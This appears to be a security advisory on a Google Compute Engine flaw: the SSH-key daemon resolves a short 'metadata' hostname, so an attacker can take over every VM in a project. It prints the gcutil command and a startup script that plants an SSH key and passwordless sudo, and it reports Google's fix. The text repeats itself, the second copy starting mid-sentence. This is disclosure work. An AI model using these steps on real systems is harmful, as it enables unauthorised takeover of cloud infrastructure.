A user who creates a GCE VM with compute-rw privileges, who
subsequently has that single VM compromised, can lead to a global
compromise of all VMs inside of the account.
VMs created in the web UI, by default, come with compute-rw privileges.
Google’s account manager fetches ssh keys from the Google Metadata
server on a short DNS name, which relies on DNS to expand to FQDN:
/usr/share/google/google_daemon/desired_accounts.py:
ATTRIBUTES_URL = ('http://metadata/computeMetadata/v1/?recursive=true&%s')
INSTANCE_SSHKEYS_URL = (
'http://metadata/computeMetadata/v1/instance/attributes/sshKeys?%s')
PROJECT_SSHKEYS_URL = (
'http://metadata/computeMetadata/v1/project/attributes/sshKeys?%s')
We can exploit this by relying on Google’s addinstnace command to
automatically add a new instance to the recursive DNS provider @
169.254.169.254:
gcutil addinstance
--image=projects/debian-cloud/global/images/backports-debian-7-wheezy-v20140331
--zone=us-central1-a --machine_type=n1-standard-2
--metadata_from_file=startup-script:google-base.txt metadata
— startup-script:
#!/bin/bash
export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
useradd testuser
mkdir -p /home/testuser/.ssh
cat <<EOF > /home/testuser/.ssh/authorized_keys
ssh-rsa superawesome ssh@key
EOF
chmod 644 /home/testuser/.ssh/authorized_keys
cat <<EOF >>/etc/sudoers
testuser ALL=NOPASSWD: ALL
EOF
exit 0
Once the system is online, google’s account manager and google’s
address manager will start making TCP/80 calls to our new server.
This would allow you to compromise all Google Compute Engine VMs in
the Google Project, as it would allow you to inject your own ssh key
in to metadata's sshkeys k/v pair.
Last but not least, if you otherwise had the ability to compromise DNS
responses of Google Compute Engine VMs, you could simply use the lack
of HMAC/DNS suffix in desired_accounts.py to compromise your targets.
Response
-------------
Google has updated its desired_accounts.py as follows:
METADATA_V1_URL_PREFIX = 'http://169.254.169.254/computeMetadata/v1/'
This avoids the problem on all newly created GCE VMs. However, older
instances do not have any update mechanism available to them, leaving
a substantial number of GCE VMs vulnerable.
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information
subsequently has that single VM compromised, can lead to a global
compromise of all VMs inside of the account.
VMs created in the web UI, by default, come with compute-rw privileges.
Google’s account manager fetches ssh keys from the Google Metadata
server on a short DNS name, which relies on DNS to expand to FQDN:
/usr/share/google/google_daemon/desired_accounts.py:
ATTRIBUTES_URL = ('http://metadata/computeMetadata/v1/?recursive=true&%s')
INSTANCE_SSHKEYS_URL = (
'http://metadata/computeMetadata/v1/instance/attributes/sshKeys?%s')
PROJECT_SSHKEYS_URL = (
'http://metadata/computeMetadata/v1/project/attributes/sshKeys?%s')
We can exploit this by relying on Google’s addinstnace command to
automatically add a new instance to the recursive DNS provider @
169.254.169.254:
gcutil addinstance
--image=projects/debian-cloud/global/images/backports-debian-7-wheezy-v20140331
--zone=us-central1-a --machine_type=n1-standard-2
--metadata_from_file=startup-script:google-base.txt metadata
— startup-script:
#!/bin/bash
export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
useradd testuser
mkdir -p /home/testuser/.ssh
cat <<EOF > /home/testuser/.ssh/authorized_keys
ssh-rsa superawesome ssh@key
EOF
chmod 644 /home/testuser/.ssh/authorized_keys
cat <<EOF >>/etc/sudoers
testuser ALL=NOPASSWD: ALL
EOF
exit 0
Once the system is online, google’s account manager and google’s
address manager will start making TCP/80 calls to our new server.
This would allow you to compromise all Google Compute Engine VMs in
the Google Project, as it would allow you to inject your own ssh key
in to metadata's sshkeys k/v pair.
Last but not least, if you otherwise had the ability to compromise DNS
responses of Google Compute Engine VMs, you could simply use the lack
of HMAC/DNS suffix in desired_accounts.py to compromise your targets.
Response
-------------
Google has updated its desired_accounts.py as follows:
METADATA_V1_URL_PREFIX = 'http://169.254.169.254/computeMetadata/v1/'
This avoids the problem on all newly created GCE VMs. However, older
instances do not have any update mechanism available to them, leaving
a substantial number of GCE VMs vulnerable.
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information